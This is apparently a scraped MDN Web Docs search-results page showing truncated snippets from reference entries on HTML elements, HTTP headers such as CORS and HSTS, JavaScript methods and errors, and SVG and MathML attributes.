... note: unless the type of the list number matters (like legal or technical documents where items are referenced by their number/letter), use the css list-style-type property instead.
... usage notes typically, ordered list items display with a preceding marker, such as a number or letter.
...And 2 more matches
<samp>: The Sample Output element - HTML: Hypertext Markup Language
WebHTMLElementsamp
the html sample element (<samp>) is used to enclose inline text which represents sample (or quoted) output from a computer program.
... its contents are typically rendered using the browser's default monospaced font (such as courier or lucida console).
... the css to override the default font face would look like this: samp { font-family: "courier"; } if you need an element which will serve as a container for output generated by your website or app's javascript code, you should instead use the <output> element.
...And 2 more matches
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
WebHTMLElementstrong
usage notes the <strong> element is for content that is of "strong importance," including things of great seriousness or urgency (such as warnings).
... another accepted use for <strong> is to denote the labels of paragraphs which represent notes or warnings within the text of a page.
...each element is meant to be used in certain types of scenarios, and if you want to bold text simply for decoration, you should instead actually use the css font-weight property.
...And 2 more matches
contenteditable - HTML: Hypertext Markup Language
the attribute must take one of the following values: true or an empty string, which indicates that the element is editable.
... false, which indicates that the element is not editable.
... living standard no change from latest snapshot, html 5.2 html 5.2the definition of 'contenteditable' in that specification.
...And 2 more matches
id - HTML: Hypertext Markup Language
the id global attribute defines an identifier (id) which must be unique in the whole document.
...in contrast to the class attribute, which allows space-separated values, elements can only have one single id value.
... note: using characters except ascii letters, digits, '_', '-' and '.' may cause compatibility problems, as they weren't allowed in html 4.
...And 2 more matches
Common MIME types - HTTP
this table lists some important mime types for the web: extension kind of document mime type .aac aac audio audio/aac .abw abiword document application/x-abiword .arc archive document (multiple files embedded) application/x-freearc .avi avi: audio video interleave video/x-msvideo .azw amazon kindle ebook format application/vnd.amazon.ebook .bin any kind of binary data application/octet-stream .bmp windows os/2 bitmap graphics image/bmp .bz bzip archive application/x-bzip .bz2 ...
...bzip2 archive application/x-bzip2 .csh c-shell script application/x-csh .css cascading style sheets (css) text/css .csv comma-separated values (csv) text/csv .doc microsoft word application/msword .docx microsoft word (openxml) application/vnd.openxmlformats-officedocument.wordprocessingml.document .eot ms embedded opentype fonts application/vnd.ms-fontobject .epub electronic publication (epub) application/epub+zip .gz gzip compressed archive application/gzip .gif graphics interchange format (gif) image/gif .htm .html hypertext markup language (html) text/html .ico icon format image/vnd.microsoft.icon .ics ical...
...endar format text/calendar .jar java archive (jar) application/java-archive .jpeg .jpg jpeg images image/jpeg .js javascript text/javascript, per the following specifications: https://html.spec.whatwg.org/multipage/#scriptinglanguages https://html.spec.whatwg.org/multipage/#dependencies:willful-violation https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ .json json format application/json .jsonld json-ld format application/ld+json .mid .midi musical instrument digital interface (midi) audio/midi audio/x-midi .mjs javascript module text/javascript .mp3 mp3 audio audio/mpeg .mpeg mpeg video video/m...
...And 2 more matches
Basics of HTTP - HTTP
articles overview of http describes what http is and its role in web architecture, including its position in the protocol stack.
... resource urls resource urls, those prefixed with the resource scheme are used by firefox and firefox browser extensions to load resources internally, but is also available to some sites the browser connects to as well.
... separating identity and location of a resource: the alt-svc http header most of the time the identity and location of a web resource are shared, this can be changed with the alt-svc header.
...And 2 more matches
CORS errors - HTTP
WebHTTPCORSErrors
setting up such a cors configuration isn't necessarily easy and may present some challenges.
... identifying the issue to understand the underlying issue with the cors configuration, you need to find out which request is at fault and why.
... now try to reproduce the failing transaction and check the console if you are seeing a cors violation error message.
...And 2 more matches
Accept-Encoding - HTTP
the accept-encoding request http header advertises which content encoding, usually a compression algorithm, the client is able to understand.
... using content negotiation, the server selects one of the proposals, uses it and informs the client of its choice with the content-encoding response header.
... even if both the client and the server supports the same compression algorithms, the server may choose not to compress the body of a response, if the identity value is also acceptable.
...And 2 more matches
Access-Control-Allow-Origin - HTTP
note: null should not be used: "it may seem safe to return access-control-allow-origin: "null", but the serialization of the origin of any resource that uses a non-hierarchical scheme (such as data: or file:) and sandboxed documents is defined to be "null".
... many user agents will grant such documents access to a response with an access-control-allow-origin: "null" header, and any origin can create a hostile document with a "null" origin.
...ce will include the following: access-control-allow-origin: * a response that tells the browser to allow requesting code from the origin https://developer.mozilla.org to access a resource will include the following: access-control-allow-origin: https://developer.mozilla.org limiting the possible access-control-allow-origin values to a set of allowed origins requires code on the server side to check the value of the origin request header, compare that to a list of allowed origins, and then if the origin value is in the list, to set the access-control-allow-origin value to the same value as the origin value.
...And 2 more matches
Content-Location - HTTP
request header response header accept: application/json, text/json content-location: /documents/foo.json accept: application/xml, text/xml content-location: /documents/foo.xml accept: text/plain, text/* content-location: /documents/foo.txt these urls are examples — the site could serve the different filetypes with any url patterns it wishes, such as a query string parameter: /documents/foo?format=json, /documents/foo?format=xml, and so on.
... the server could also consider other content negotiation headers, such as accept-language.
...the server specifies where the new post is with content-location: http/1.1 201 created content-type: text/plain; charset=utf-8 content-location: /my-first-blog-post ✅ success!
...And 2 more matches
Origin - HTTP
WebHTTPHeadersOrigin
the origin request header indicates where a fetch originates from.
... note: the origin header is not set on fetch requests with a method of head or get (this behavior was corrected in firefox 65 — see bug 1508661).
... header type request header forbidden header name yes syntax origin: null origin: <scheme> "://" <hostname> [ ":" <port> ] directives <scheme> the protocol that is used.
...And 2 more matches
SameSite cookies - HTTP
set-cookie: flavor=choco; samesite=none to fix this, you will have to add the secure attribute to your samesite=none cookies.
... set-cookie: flavor=choco; samesite=none; secure a secure cookie is only sent to the server with an encrypted request over the https protocol.
... the warning appears because the samesite policy for a cookie has not specified explicitly: set-cookie: flavor=choco while you could rely on modern browsers to apply samesite=lax automatically, you should rather specify it explicitly to clearly communicate your intent which samesite policy applies to your cookie.
...And 2 more matches
Strict-Transport-Security - HTTP
an example scenario you log into a free wifi access point at an airport and start surfing the web, visiting your online banking service to check your balance and pay a couple of bills.
... strict transport security resolves this problem; as long as you've accessed your bank's web site once using https, and the bank's web site uses strict transport security, your browser will know to automatically use only https, which prevents hackers from performing this sort of man-in-the-middle attack.
... information regarding the hsts preload list in chrome : https://www.chromium.org/hsts consultation of the firefox hsts preload list : nsstspreloadlist.inc examples all present and future subdomains will be https for a max-age of 1 year.
...And 2 more matches
TE - HTTP
WebHTTPHeadersTE
(you could informally call it accept-transfer-encoding, which would be more intuitive).
...note that chunked is always acceptable for http/1.1 recipients and you don't have to specify "chunked" using the te header.
... however, it is useful for setting if the client is accepting trailer fields in a chunked transfer coding using the "trailers" value.
...And 2 more matches
Trailer - HTTP
WebHTTPHeadersTrailer
the trailer response header allows the sender to include additional fields at the end of chunked messages in order to supply metadata that might be dynamically generated while the message body is sent, such as a message integrity check, digital signature, or post-processing status.
... header type response header forbidden header name yes syntax trailer: header-names directives header-names http header fields which will be present in the trailer part of chunked messages.
... these header fields are disallowed: message framing headers (e.g., transfer-encoding and content-length), routing headers (e.g., host), request modifiers (e.g., controls and conditionals, like cache-control, max-forwards, or te), authentication headers (e.g., authorization or set-cookie), or content-encoding, content-type, content-range, and trailer itself.
...And 2 more matches
WWW-Authenticate - HTTP
header type response header forbidden header name no syntax www-authenticate: <type> realm=<realm>[, charset="utf-8"] directives <type> authentication type.
...iana maintains a list of authentication schemes.
... charset=<charset> tells the client the server's prefered encoding scheme when submitting a username and password.
...And 2 more matches
POST - HTTP
WebHTTPMethodsPOST
a post request is typically sent via an html form and results in a change on the server.
...non-alphanumeric characters in both keys and values are percent encoded: this is the reason why this type is not suitable to use with binary data (use multipart/form-data instead) multipart/form-data: each value is sent as a block of data ("body part"), with a user agent-defined delimiter ("boundary") separating each part.
... the keys are given in the content-disposition header of each part.
...And 2 more matches
HTTP request methods - HTTP
WebHTTPMethods
each of them implements a different semantic, but some common features are shared by a group of them: e.g.
... a request method can be safe, idempotent, or cacheable.
... post the post method is used to submit an entity to the specified resource, often causing a change in state or side effects on the server.
...And 2 more matches
HTTP
WebHTTP
hypertext transfer protocol (http) is an application-layer protocol for transmitting hypermedia documents, such as html.
... http cache caching is very important for fast web sites.
... this article describes different methods of caching and how to use http headers to control them.
...And 2 more matches
TypeError: setting getter-only property "x" - JavaScript
the javascript strict mode-only exception "setting getter-only property" occurs when there is an attempt to set a new value to a property for which only a getter is specified.
... message typeerror: assignment to read-only properties is not allowed in strict mode (edge) typeerror: setting getter-only property "x" (firefox) typeerror: cannot set property "prop" of #<object> which has only a getter (chrome) error type typeerror in strict mode only.
... there is an attempt to set a new value to a property for which only a getter is specified.
...And 2 more matches
RangeError: invalid array length - JavaScript
the javascript exception "invalid array length" occurs when creating an array or an arraybuffer which has a length which is either negative or larger or equal to 232, or when setting the array.length property to a value which is either negative or larger or equal to 232.
... message rangeerror: array length must be a finite positive integer (edge) rangeerror: invalid array length (firefox) rangeerror: invalid array length (chrome) rangeerror: invalid array buffer length (chrome) error type rangeerror what went wrong?
... an invalid array length might appear in these situations: when creating an array or an arraybuffer which has a length which is either negative or larger or equal to 232, or when setting the array.length property to a value which is either negative or larger or equal to 232.
...And 2 more matches
URIError: malformed URI sequence - JavaScript
message urierror: the uri to be encoded contains invalid character (edge) urierror: malformed uri sequence (firefox) urierror: uri malformed (chrome) error type urierror what went wrong?
... examples encoding encoding replaces each instance of certain characters by one, two, three, or four escape sequences representing the utf-8 encoding of the character.
... an urierror will be thrown if there is an attempt to encode a surrogate which is not part of a high-low pair, for example: encodeuri('\ud800'); // "urierror: malformed uri sequence" encodeuri('\udfff'); // "urierror: malformed uri sequence" a high-low pair is ok.
...And 2 more matches
SyntaxError: missing = in const declaration - JavaScript
message syntaxerror: const must be initalized (edge) syntaxerror: missing = in const declaration (firefox) syntaxerror: missing initializer in const declaration (chrome) error type syntaxerror what went wrong?
...it cannot change through re-assignment, and it can't be redeclared.
...an initializer for a constant is required; that is, you must specify its value in the same statement in which it's declared (which makes sense, given that it can't be changed later).
...And 2 more matches
SyntaxError: unterminated string literal - JavaScript
to fix this error, check if: you have opening and closing quotes (single or double) for your string literal, you have escaped your string literal correctly, your string literal isn't split across multiple lines.
... examples multiple lines you can't split a string across multiple lines like this in javascript: var longstring = 'this is a very long string which needs to wrap across multiple lines because otherwise my code is unreadable.'; // syntaxerror: unterminated string literal instead, use the + operator, a backslash, or template literals.
... the + operator variant looks like this: var longstring = 'this is a very long string which needs ' + 'to wrap across multiple lines because ' + 'otherwise my code is unreadable.'; or you can use the backslash character ("\") at the end of each line to indicate that the string will continue on the next line.
...And 2 more matches
Array.prototype.flatMap() - JavaScript
the flatmap() method first maps each element using a mapping function, then flattens the result into a new array.
... return value a new array with each element being the result of the callback function and flattened to a depth of 1.
... alternative reduce() and concat() var arr = [1, 2, 3, 4]; arr.flatmap(x => [x, x * 2]); // is equivalent to arr.reduce((acc, x) => acc.concat([x, x * 2]), []); // [1, 2, 2, 4, 3, 6, 4, 8] note, however, that this is inefficient and should be avoided for large arrays: in each iteration, it creates a new temporary array that must be garbage-collected, and it copies elements from the current accumulator array into a new array instead of just adding the new elements to the existing array.
...And 2 more matches
AsyncFunction - JavaScript
in javascript, every asynchronous function is actually an asyncfunction object.
...each must be a string that corresponds to a valid javascript identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b".
...this is less efficient than declaring an async function with an async function expression and calling it within your code, because such functions are parsed with the rest of the code.
...And 2 more matches
Error - JavaScript
"too much recursion".
...you can handle the error using the try...catch construct: try { throw new error('whoops!') } catch (e) { console.error(e.name + ': ' + e.message) } handling a specific error you can choose to handle only specific error types by testing the error type with the error's constructor property or, if you're writing for modern javascript engines, instanceof keyword: try { foo.bar() } catch (e) { if (e instanceof evalerror) { console...
...etc } custom error types you might want to define your own error types deriving from error to be able to throw new myerror() and use instanceof myerror to check the kind of error in the exception handler.
...And 2 more matches
Intl.Locale.prototype.calendar - JavaScript
the intl.locale.prototype.calendar property is an accessor property which returns the type of calendar used in the locale.
... unicode calendar keys unicode calendar keys calendar key (name) description buddhist thai buddhist calendar chinese traditional chinese calendar coptic coptic calendar dangi traditional korean calendar ethioaa ethiopic calendar, amete alem (epoch approx.
... 5493 b.c.e) ethiopic ethiopic calendar, amete mihret (epoch approx, 8 c.e.) gregory gregorian calendar hebrew traditional hebrew calendar indian indian calendar islamic islamic calendar islamic-umalqura islamic calendar, umm al-qura islamic-tbla islamic calendar, tabular (intercalary years [2,5,7,10,13,16,18,21,24,26,29] - astronomical epoch) islamic-civil islamic calendar, tabular (intercalary years [2,5,7,10,13,16,18,21,24,26,29] - civil epoch) islamic-rgsa islamic calendar, saudi arabia sighting iso8601 iso calendar (gregorian calendar using the iso 8601 calendar week rules) japanese japanese imperial calendar persian persian calendar ro...
...And 2 more matches
Object.assign() - JavaScript
syntax object.assign(target, ...sources) parameters target the target object — what to apply the sources’ properties to, which is returned after it is modified.
... in case of an error, for example if a property is non-writable, a typeerror is raised, and the target object is changed if any properties are added before the error is raised.
... , b: { c: 0}}; let obj3 = json.parse(json.stringify(obj1)); obj1.a = 4; obj1.b.c = 4; console.log(json.stringify(obj3)); // { "a": 0, "b": { "c": 0}} } test(); merging objects const o1 = { a: 1 }; const o2 = { b: 2 }; const o3 = { c: 3 }; const obj = object.assign(o1, o2, o3); console.log(obj); // { a: 1, b: 2, c: 3 } console.log(o1); // { a: 1, b: 2, c: 3 }, target object itself is changed.
...And 2 more matches
Object.entries() - JavaScript
(the only important difference is that a for...in loop enumerates properties in the prototype chain as well).
...bject.entries) { object.entries = function( obj ){ var ownprops = object.keys( obj ), i = ownprops.length, resarray = new array(i); // preallocate the array while (i--) resarray[i] = [ownprops[i], obj[ownprops[i]]]; return resarray; }; } for the above polyfill code snippet, if you need support for ie<9, then you will also need an object.keys() polyfill (such as the one found on the object.keys page).
...ole.log(object.entries(obj)); // [ ['foo', 'bar'], ['baz', 42] ] // array like object const obj = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ] // array like object with random key ordering const anobj = { 100: 'a', 2: 'b', 7: 'c' }; console.log(object.entries(anobj)); // [ ['2', 'b'], ['7', 'c'], ['100', 'a'] ] // getfoo is property which isn't enumerable const myobj = object.create({}, { getfoo: { value() { return this.foo; } } }); myobj.foo = 'bar'; console.log(object.entries(myobj)); // [ ['foo', 'bar'] ] // non-object argument will be coerced to an object console.log(object.entries('foo')); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ] // returns an empty array for any primitive type, since primitives have no own properties cons...
...And 2 more matches
Object.getOwnPropertyDescriptors() - JavaScript
syntax object.getownpropertydescriptors(obj) parameters obj the object for which to get all own property descriptors.
... writable true if and only if the value associated with the property may be changed (data descriptors only).
... get a function which serves as a getter for the property, or undefined if there is no getter (accessor descriptors only).
...And 2 more matches
Object.isFrozen() - JavaScript
syntax object.isfrozen(obj) parameters obj the object which should be checked.
... description an object is frozen if and only if it is not extensible, all its properties are non-configurable, and all its data properties (that is, properties which are not accessor properties with getter or setter components) are non-writable.
...object.isfrozen({}); // === false // an empty object which is not extensible // is vacuously frozen.
...And 2 more matches
handler.setPrototypeOf() - JavaScript
return value the setprototypeof() method returns true if the [[prototype]] was successfully changed, otherwise false.
... approach 1: returning false this approach means that any mutating operation that throws an exception on failure to mutate, must create the exception itself.
... if the mutation is performed by an operation that doesn't ordinarily throw in case of failure, such as reflect.setprototypeof(), no exception will be thrown.
...And 2 more matches
TypedArray.from() - JavaScript
description typedarray.from() lets you create typed arrays from: array-like objects (objects with a length property and indexed elements); or iterable objects (objects where you can get its elements, such as map and set).
... typedarray.from() has the optional parameter mapfn, which allows you to execute a map() function on each element of the typed array (or subclass object) that is being created.
...array.from() sets each value as it receives them from the iterator, then sets its length at the end.
...And 2 more matches
WebAssembly.CompileError() constructor - JavaScript
the webassembly.compileerror() constructor creates a new webassembly compileerror object, which indicates an error during webassembly decoding or validation.
... examples creating a new compileerror instance the following snippet creates a new compileerror instance, and logs its details to the console: try { throw new webassembly.compileerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof compileerror); // true console.log(e.message); // "hello" console.log(e.name); // "compileerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the cod...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
WebAssembly.CompileError - JavaScript
examples creating a new compileerror instance the following snippet creates a new compileerror instance, and logs its details to the console: try { throw new webassembly.compileerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof compileerror); // true console.log(e.message); // "hello" console.log(e.name); // "compileerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the cod...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompileerrorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome andro...
...And 2 more matches
WebAssembly.LinkError - JavaScript
examples creating a new linkerror instance the following snippet creates a new linkerror instance, and logs its details to the console: try { throw new webassembly.linkerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof linkerror); // true console.log(e.message); // "hello" console.log(e.name); // "linkerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jslinkerrorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome android ...
...And 2 more matches
WebAssembly.RuntimeError - JavaScript
examples creating a new runtimeerror instance the following snippet creates a new runtimeerror instance, and logs its details to the console: try { throw new webassembly.runtimeerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof runtimeerror); // true console.log(e.message); // "hello" console.log(e.name); // "runtimeerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the cod...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsruntimeerrorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome andro...
...And 2 more matches
WebAssembly.validate() - JavaScript
examples using validate the following example (see the validate.html source code, and see it live too) fetches a .wasm module and converts it into a typed array.
... the validate() method is then used to check whether the module is valid.
... fetch('simple.wasm').then(response => response.arraybuffer() ).then(function(bytes) { var valid = webassembly.validate(bytes); console.log("the given bytes are " + (valid ?
...And 2 more matches
Comma operator (,) - JavaScript
the comma operator (,) evaluates each of its operands (from left to right) and returns the value of the last operand.
... this lets you create a compound expression in which multiple expressions are evaluated, with the compound expression's final value being the value of the rightmost of its member expressions.
... one or more expressions, the last of which is returned as the value of the compound expression.
...And 2 more matches
Nullish coalescing operator (??) - JavaScript
contrary to the logical or (||) operator, the left operand is returned if it is a falsy value which is not null or undefined.
... let count = 0; let text = ""; let qty = count || 42; let message = text || "hi!"; console.log(qty); // 42 and not 0 console.log(message); // "hi!" and not "" the nullish coalescing operator avoids this pitfall by only returning the second operand when the first one evaluates to either null or undefined (but no other falsy values): let mytext = ''; // an empty string (which is also a falsy value) let notfalsytext = mytext || 'hello world'; console.log(notfalsytext); // hello world let preservingfalsy = mytext ??
...c() ); // logs "b was called" then "false" // as b() returned false (and not null or undefined), the right // hand side expression was not evaluated no chaining with and or or operators it is not possible to combine both the and (&&) and or operators (||) directly with ??.
...And 2 more matches
async function expression - JavaScript
can be omitted, in which case the function is anonymous.
... statements the statements which comprise the body of the function.
...the main difference between an async function expression and an async function statement is the function name, which can be omitted in async function expressions to create anonymous functions.
...And 2 more matches
yield - JavaScript
each time the generator's next() method is called, the generator resumes execution, and runs until it reaches one of the following: a yield, which causes the generator to once again pause and return the generator's new value.
... the end of the generator function is reached.
... in this case, execution of the generator ends and an iteratorresult is returned to the caller in which the value is undefined and done is true.
...And 2 more matches
export - JavaScript
exported modules are in strict mode whether you declare them as such or not.
...each type corresponds to one of the above syntax: named exports: // export features declared earlier export { myfunction, myvariable }; // export individual features (can export var, let, // const, function, class) export let myvariable = math.sqrt(2); export function myfunction() { ...
... this can be achieved with the "export from" syntax: export { default as function1, function2 } from 'bar.js'; which is comparable to a combination of import and export: import { default as function1, function2 } from 'bar.js'; export { function1, function2 }; but where function1 and function2 do not become available inside the current module.
...And 2 more matches
for...of - JavaScript
it invokes a custom iteration hook with statements to be executed for the value of each distinct property of the object.
... syntax for (variable of iterable) { statement } variable on each iteration a value of a different property is assigned to variable.
...the object iterable inherits the properties objcustom and arrcustom because of inheritance and the prototype chain.
...And 2 more matches
display - Web app manifests
the display mode changes how much of browser ui is shown to the user and can range from browser (when the full browser window is shown) to fullscreen (when the app is full-screened).
...this can be used to provide a consistent user experience between launching a site from an url and launching it from a desktop icon.
... values the possible values are: display mode description fallback display mode fullscreen all of the available display area is used and no user agent chrome is shown.
...And 2 more matches
<math> - MathML
WebMathMLElementmath
in addition you must not nest a second <math> element in another, but you can have an arbitrary number of other child elements in it.
...it can have one of the following values: block, which means that this element will be displayed outside the current span of text, as a block that can be positioned anywhere without changing the meaning of the text; inline, which means that this element will be displayed inside the current span of text, and cannot be moved out of it without changing the meaning of that text.
... possible values are: display (which has the same effect as display="block") and inline.
...And 2 more matches
<mn> - MathML
WebMathMLElementmn
the mathml <mn> element represents a numeric literal which is normally a sequence of digits with a possible separator (a dot or a comma).
... however, it is also allowed to have arbitrary text in it which is actually a numeric quantity, for example "eleven".
... mathvariant this attribute specifies the logical class of the number which varies in typography.
...And 2 more matches
SVG Event Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeEvents
event attributes always have their name starting with "on" followed by the name of the event for which they are intended.
... they specifies some script to run when the event of the given type is dispatched to the element on which the attributes are specified.
...other event attributes are available on a case by case basis for each elements.
...And 2 more matches
direction - SVG: Scalable Vector Graphics
it defines the start and end points of a line of text as used by the text-anchor and inline-size properties.
... it also may affect the direction in which characters are positioned if the unicode-bidi property's value is either embed or bidi-override.
... it applies only to glyphs oriented perpendicular to the inline-base direction, which includes the usual case of horizontally-oriented latin or arabic text and the case of narrow-cell latin or arabic characters rotated 90 degrees clockwise relative to a top-to-bottom inline-base direction.
...And 2 more matches
dx - SVG: Scalable Vector Graphics
WebSVGAttributedx
if there are multiple values, dx defines a shift along the x-axis for each individual glyph relative to the preceding glyph.
... if there are multiple values, dx defines a shift along the x-axis for each individual glyph relative to the preceding glyph.
...0" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="0" x2="100%" y1="25%" y2="25%" /> <line x1="0" x2="100%" y1="50%" y2="50%" /> <line x1="0" x2="100%" y1="75%" y2="75%" /> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="30%" x2="30%" y1="0" y2="100%" /> <line x1="60%" x2="60%" y1="0" y2="100%" /> <!-- behaviors change based on the number of values in the attributes --> <text dx="20%" x="10%" y="25%">svg</text> <text dx="0 10%" x="10%" y="50%">svg</text> <text dx="0 10% 20%" x="10%" y="75%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } tref warning: as of svg2 <tref> is deprecated and shouldn't be used.
...And 2 more matches
dy - SVG: Scalable Vector Graphics
WebSVGAttributedy
if there are multiple values, dy defines a shift along the y-axis for each individual glyph relative to the preceding glyph.
... if there are multiple values, dy defines a shift along the y-axis for each individual glyph relative to the preceding glyph.
....w3.org/2000/svg"> <!-- horizontal lines --> <line x1="0" x2="100%" y1="30" y2="30" /> <line x1="0" x2="100%" y1="40" y2="40" /> <line x1="0" x2="100%" y1="50" y2="50" /> <line x1="0" x2="100%" y1="60" y2="60" /> <!-- vertical lines --> <line x1="10" x2="10" y1="0" y2="100%" /> <line x1="50" x2="50" y1="0" y2="100%" /> <line x1="90" x2="90" y1="0" y2="100%" /> <!-- behaviors change based on the number of values in the attributes --> <text dy="20" x="10" y="30">svg</text> <text dy="0 10" x="50" y="30">svg</text> <text dy="0 10 20" x="90" y="30">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } tref warning: as of svg2 <tref> is deprecated and shouldn't be used.
...And 2 more matches
font-family - SVG: Scalable Vector Graphics
the font-family attribute indicates which font family will be used to render the text, specified as a prioritized list of font family names and/or generic family names.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-family' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
font-style - SVG: Scalable Vector Graphics
working draft no change css fonts module level 3the definition of 'font-style' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-style' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
glyph-orientation-vertical - SVG: Scalable Vector Graphics
the glyph-orientation-vertical attribute affects the amount that hte current text position advances as each glyph is rendered.
...ideographic punctuation and other ideographic characters having alternate horizontal and vertical forms will use the vertical form of the glyph.
... text which is not fullwidth will be set with a glyph orientation of 90 degrees.
...And 2 more matches
gradientUnits - SVG: Scalable Vector Graphics
objectboundingbox this value indicates that the user coordinate system for the attributes is established using the bounding box of the element to which the gradient is applied and then applying the transform specified by attribute gradienttransform.
...when the object's bounding box is not square, the gradient normal which is initially perpendicular to the gradient vector within object bounding box space may render non-perpendicular relative to the gradient vector in user space.
... objectboundingbox for <radialgradient>: the user coordinate system for attributes cx, cy, r, fx, fy, and fr is established using the bounding box of the element to which the gradient is applied (see object bounding box units) and then applying the transform specified by attribute gradienttransform.
...And 2 more matches
path - SVG: Scalable Vector Graphics
WebSVGAttributepath
the path attribute has two different meanings, either it defines a text path along which the characters of a text are rendered, or a motion path along which a referenced element is animated.
... value <path-data> default value none animatable no <path-data> this value defines the motion path along which the referenced element is animated.
... textpath for <textpath>, path defines the path onto which the glyphs of a <text> element will be rendered.
...And 2 more matches
points - SVG: Scalable Vector Graphics
WebSVGAttributepoints
each point is defined by a pair of number representing a x and a y coordinate in the user coordinate system.
... --> </svg> polyline for <polyline>, points defines a list of points, each representing a vertex of the line to be drawn.
... each point is define by a x and y coordinate in the user coordinate system.
...And 2 more matches
shape-rendering - SVG: Scalable Vector Graphics
to achieve crisp edges, the user agent might turn off anti-aliasing for all lines and curves or possibly just for straight lines which are close to vertical or horizontal.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'shape-rendering' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
text-rendering - SVG: Scalable Vector Graphics
the user agent will often choose whether to apply anti-aliasing techniques, built-in font hinting or both to produce the most legible text.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-rendering' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
textLength - SVG: Scalable Vector Graphics
the textlength attribute, available on svg <text> and <tspan> elements, lets you specify the width of the space into which the text will draw.
...by default, only the spacing between characters is adjusted, but the glyph size can also be adjusted if you change lengthadjust.
... html the html is also simple, with only two displayed elements contained inside a grouping <div>: <div class="controls"> <input type="range" id="widthslider" min="80" max="978"> <span id="widthdisplay"></span> </div> the <input> element, of type "range", is used to create the slider control the user will manipulate to change the width of the text.
...And 2 more matches
transform - SVG: Scalable Vector Graphics
the transform attribute defines a list of transform definitions that are applied to an element and the element's children.
... as a presentation attribute, transform can be used by any element (in svg 1.1, only these 16 elements were allowed to use it: <a>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <switch>, <text>, and <use>).
... also, as a legacy from svg 1.1, <lineargradient> and <radialgradient> support the gradienttransform attribute, and <pattern> supports the patterntransform attribute, both of which act exactly like the transform attribute.
...And 2 more matches
vector-effect - SVG: Scalable Vector Graphics
the default rendering behaviour is used which is to first fill the geometry of a shape with a specified paint, then stroke the outline with a specified paint.
...the scale of that user coordinate system does not change in spite of any transformation changes from a host coordinate space.
...since this value suppresses scaling of the user coordinate system, it also has the characteristics of non-scaling-stroke.
...And 2 more matches
<clipPath> - SVG: Scalable Vector Graphics
WebSVGElementclipPath
a clipping path restricts the region to which paint can be applied.
... --> <use clip-path="url(#myclip)" xlink:href="#heart" fill="red" /> </svg> /* with a touch of css for browsers who * * implemented the r geometry property.
...the bounding box of a clipped element (meaning, an element which references a <clippath> element via a clip-path property, or a child of the referencing element) must remain the same as if it were not clipped.
...And 2 more matches
<text> - SVG: Scalable Vector Graphics
WebSVGElementtext
value type: <length>|<percentage> ; default value: none; animatable: yes rotate rotates orientation of each individual glyph.
... value type: <list-of-number> ; default value: none; animatable: yes lengthadjust how the text is stretched or compressed to fit the width defined by the textlength attribute.
... value type: <length>|<percentage> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style, font-family, font-size, font-size-adjust, font-stretch, font-style, font-variant, font-weight conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, dominant-baseline, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke...
...And 2 more matches
Scripting - SVG: Scalable Vector Graphics
WebSVGScripting
